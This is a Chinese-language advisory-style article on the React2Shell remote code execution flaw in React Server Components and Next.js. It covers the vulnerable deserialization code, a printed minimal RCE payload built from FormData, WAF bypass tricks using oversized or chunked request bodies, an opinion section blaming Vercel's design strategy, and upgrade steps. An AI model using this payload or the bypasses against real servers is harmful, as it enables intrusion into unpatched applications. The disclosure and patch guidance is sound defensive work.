2025 年 12 月 3 日，Wiz 安全研究团队披露了一个影响 React Server Components（RSC）和 Next.js 框架的严重远程代码执行漏洞¹²，CVSS 评分 10.0 满分，被称为 React2Shell。

这是一个典型的 不安全反序列化漏洞，攻击者可以通过精心构造的 HTTP 请求发送至任意 Server Function 端点，当 React Flight 协议反序列化该请求时，即可在服务器上执行任意 JavaScript 代码。

漏洞描述

CVE-2025-66478（Next.js）¹实际上是 CVE-2025-55182（React）²在 Next.js 框架中的表现形式，两者的根本原因相同。

漏洞存在于 React Flight 协议的反序列化逻辑中，具体位于 ReactFlightReplyServer.js 文件的 getOutlinedModel() 函数：

function getOutlinedModel(response, reference, parentObject, key, map) {
  reference = reference.split(":");
  var id = parseInt(reference[0], 16);
  var parentObject = response.chunks[id];

  // ⚠️ 路径遍历漏洞 - 没有 hasOwnProperty 检查！
  for (var key = 1; key < reference.length; key++)
    parentObject = parentObject[reference[key]];  // VULNERABLE!

  return map(response, parentObject);
}

攻击者通过冒号分隔的路径遍历原型链，获取 Function 构造函数后执行任意代码：

// Payload: "$1:constructor:constructor"
chunk[1]["constructor"]     // → [Function: Object]
Object["constructor"]       // → [Function: Function]
// 最终获得 Function 构造函数，可执行任意代码！

影响范围

其他受影响的框架/工具包括：react-server-dom-webpack、react-server-dom-parcel、react-server-dom-turbopack、React Router（使用 RSC 的版本）等。

核心问题

从 RPC 安全视角来看，Server Actions 和 RSC 本质上是一种 RPC 实现。但与成熟的 RPC 框架相比，React Flight 协议在设计上存在根本性缺陷：

题外话：RSC 的"政治"因素

抛开技术不谈，这个漏洞的出现也让人不得不思考 RSC 诞生的背景，事实上，社区对 Vercel 主导 React 生态的不满由来已久³⁴⁵⁶。

Vercel 作为 Next.js 的主要维护者和商业化公司，一直在积极推动 React Server Components 和 Server Actions 的落地：2021 年底，Vercel 招聘了 React 核心团队成员 Sebastian Markbåge⁷——他正是 RSC 的主要设计者；2022 年 10 月，Next.js 13 发布⁸，成为首个支持 RSC 的主流框架。通过模糊前后端边界、让开发者"无感"地编写服务端代码，表面上降低了使用门槛，实际上却增加了框架的复杂度和对特定部署平台的依赖。

这种策略的商业逻辑很清晰：

• 倒逼 React 社区：RSC 最初是 Vercel 与 React 团队合作推动的，Next.js 是 RSC 的第一个也是最主要的实现载体
• 增加平台粘性：Server Actions 的"零配置"体验在 Vercel 平台上最为顺畅，自行部署则需要处理更多的边缘情况
• 模糊安全边界：当开发者习惯了在组件里直接写 'use server'，很容易忽视这背后其实是一个完整的 RPC 调用链

当然，这不是说 Vercel 有意引入漏洞，而是商业驱动的"开发体验优先"策略，可能在无形中牺牲了安全边界的清晰性。这种策略的问题在于：

1. 隐藏复杂性 ≠ 消除复杂性：'use server' 看起来只是一个指令，但背后涉及序列化、网络传输、反序列化、权限验证等完整链路。当开发者不理解这些环节时，就无法正确评估风险
2. "零配置"意味着"零思考"：传统 RPC 框架要求开发者显式定义接口、参数类型、错误处理，这些"繁琐"的步骤实际上是安全检查点。去掉这些步骤，安全责任就从框架转移到了（特别是往往不具备安全意识的）开发者（如完全没有后端经验的前端开发人员）身上，他们不适合使用这种无、弱保护的框架，这在 PHP 的框架中出现的更多。
3. 抽象泄漏的代价更高：当"魔法"失效时，开发者面对的是一个自己完全不理解的系统，调试和修复的成本远高于一开始就理解底层机制

坦率地说，如果 Vercel 继续以这种"魔法优先"的方式迭代 Next.js——把越来越多的内部机制藏在开发者看不见的地方，同时不断扩大服务端的攻击面——那么 CVE-2025-29927 和 CVE-2025-66478 恐怕只是序章，而非终章。毕竟，每一个"让开发者少写一行代码"的特性，背后都可能是安全团队需要多审计一百行的隐藏逻辑，而 Vercel 并没有一个足够强大的安全团队来保证这一点。

攻击示例

最小 RCE Payload 构造⁹：

const formData = new FormData();
formData.append('0', JSON.stringify({
  then: "$1:__proto__:then",
  status: "fulfilled",
  value: null,
  _response: {
    _formData: { get: "$1:constructor:constructor" },
    _prefix: 'return process.mainModule.require("child_process").execSync("whoami").toString()'
  }
}));
formData.append('1', '"$@0"');
formData.append('2', '[]');

更糟糕的是，这个漏洞还可以绕过 WAF：

• 超大请求体绕过：AWS WAF 默认只检查请求体前 8-64KB，将恶意 payload 放在检查限制之后即可绕过
• 分块传输编码绕过：利用 HTTP/1.1 的分块传输，将恶意模式拆分到不同的 chunk 中

处理方案

1. 立即升级

# 升级 React
npm install react@19.2.1 react-dom@19.2.1

# ⚠️ 必须同时升级 Next.js！
npm install next@15.5.7
# 或
npm install next@16.0.7

2. 使用官方修复工具

Vercel Labs 发布了自动修复工具¹²：

npx fix-react2shell-next

该工具可自动检测受影响的依赖、递归扫描所有 package.json、支持多种包管理器。